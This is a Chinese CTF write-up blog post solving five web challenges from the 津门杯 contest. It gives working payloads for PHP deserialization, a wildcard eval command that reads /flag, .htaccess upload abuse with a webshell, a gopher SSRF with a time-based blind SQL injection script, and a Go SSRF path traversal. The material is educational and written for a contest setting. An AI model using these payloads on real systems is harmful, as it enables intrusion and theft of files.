As1def's Blog
0%

津门杯-Web-Writeup

发表于
本文字数： 3.7k 阅读时长 ≈ 3 分钟

image-20210511110410892

Web

power_cut

网站存在vim文件泄露，拿到index.php.swp文件

vim -r index.php.swp读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
//vim -r index.php.swp
class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;
function __construct($file){
    // initialise variables
    $this->initMsg="#--session started--#\n";
    $this->exitMsg="#--session end--#\n";
    $this->logFile =  $file;
    readfile($this->logFile);

}

function log($msg){
    $fd=fopen($this->logFile,"a+");
    fwrite($fd,$msg."\n");
    fclose($fd);
}

function __destruct(){
    echo "this is destruct";
	}
}
class weblog {
    public $weblogfile;
    function __construct() {
    $flag="system('cat /flag')";
    echo "$flag";
}

function __wakeup(){
    // self::waf($this->filepath);
    $obj = new logger($this->weblogfile);
}

public function waf($str){
    $str=preg_replace("/[<>*#'|?\n ]/","",$str);
    $str=str_replace('flag','',$str);
    return $str;
}

function __destruct(){
    echo "this is destruct";
	}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);

?>

<html>
<body>

<p><br/>昨天晚上因为14级大风停电了.</p>

</body>
</html>

简单的一个反序列化，可直接执行system(‘cat /flag’)。

通过str_replace将flag字符替换为空，利用双写绕过。

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class weblog {
    public $weblogfile='/flag';
    }

$log = new weblog();
$res = serialize($log);
echo $res;
//然后双写flag绕过即可
//O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}
?>

image-20210511094747156

hate_php

题目源码

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!'); 
    }
    eval($code);
}

payload

1
?code=?><?=`/???/??? /????`;?>

image-20210511095129976

UploadHub

查看题目给出源码

Apache2.conf

image-20210511095354115

发现在配置层面禁止了upload沙盒解析php

搜索资料发现，配置文件的<directory> 晚于htaccess执行，所以确定此题目为.htaccess的利用

image-20210511101312920

之后尝试上传phpinfo文件，可以看到上传成功并且存在disable_functions

image-20210511101243321

利用file_gets_contents进行bypass disable_functions.

通过上传参数为shell的小马进行rce。

shell=echo file_get_contents("/flag");

image-20210511103408657

easysql

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
    session_start();
    $url = $_GET['url'] ?? false;
    if($url)
    {
    $a = preg_match("/file|dict/i", $url);
        if ($a==1)
        {
            exit();
        }

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_exec($ch);
            curl_close($ch);
     }

?>

很显然，利用方法SSRF

利用gopher协议进行POST注入，无过滤

gopher.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$payload = "poc=" . $argv[1];
//$payload = "poc=if((select ascii(substr(database(),1,1)))=115,sleep(0.4),1)";
$value = "POST /admin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
cache-control: no-cache
Accept: */*
Host: 127.0.0.1
Content-Length: " . strlen($payload) . "
Connection: close

" . $payload . "

";

echo urlencode(("gopher://127.0.0.1:80/_" . rawurlencode($value)));

poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time
import urllib
import os

url = 'http://121.36.147.29:20001/?url='

s=requests.Session()

x=""
payload = ''
for Len in range(1,50):
    max = 127
    min = 34
    while max >= min:
        mid = (max + min) // 2
        payload = 'if((select ascii(substr((select flag from flag),{},1)))>{},sleep(0.2),1)'.format(Len,mid)
        print(payload)
        tmp_r = os.popen('php D:/Temp/Web/gopher.php "'+payload+'"').read()

        before_time = time.time()

        tmp_url = url+tmp_r
        print(tmp_url)
        r = requests.get(tmp_url)
        after_time = time.time()
        offset = after_time-before_time
        if (offset>2):
            min = mid + 1
        else:
            max = mid
        if max == mid == min:
            x += chr(mid)
            print("success:{} length:{}".format(x, len(x)))
            break

image-20210511110010580

GoOSS

SSRF

Go代码可通过302跳转完成ssrf

gin-gonic/gin特性发现双//可触发SSRF

payload

1
{"url":"http://127.0.0.1//localhost?file=../../../../../flag&hehe=../.."}
----------------本文结束感谢阅读----------------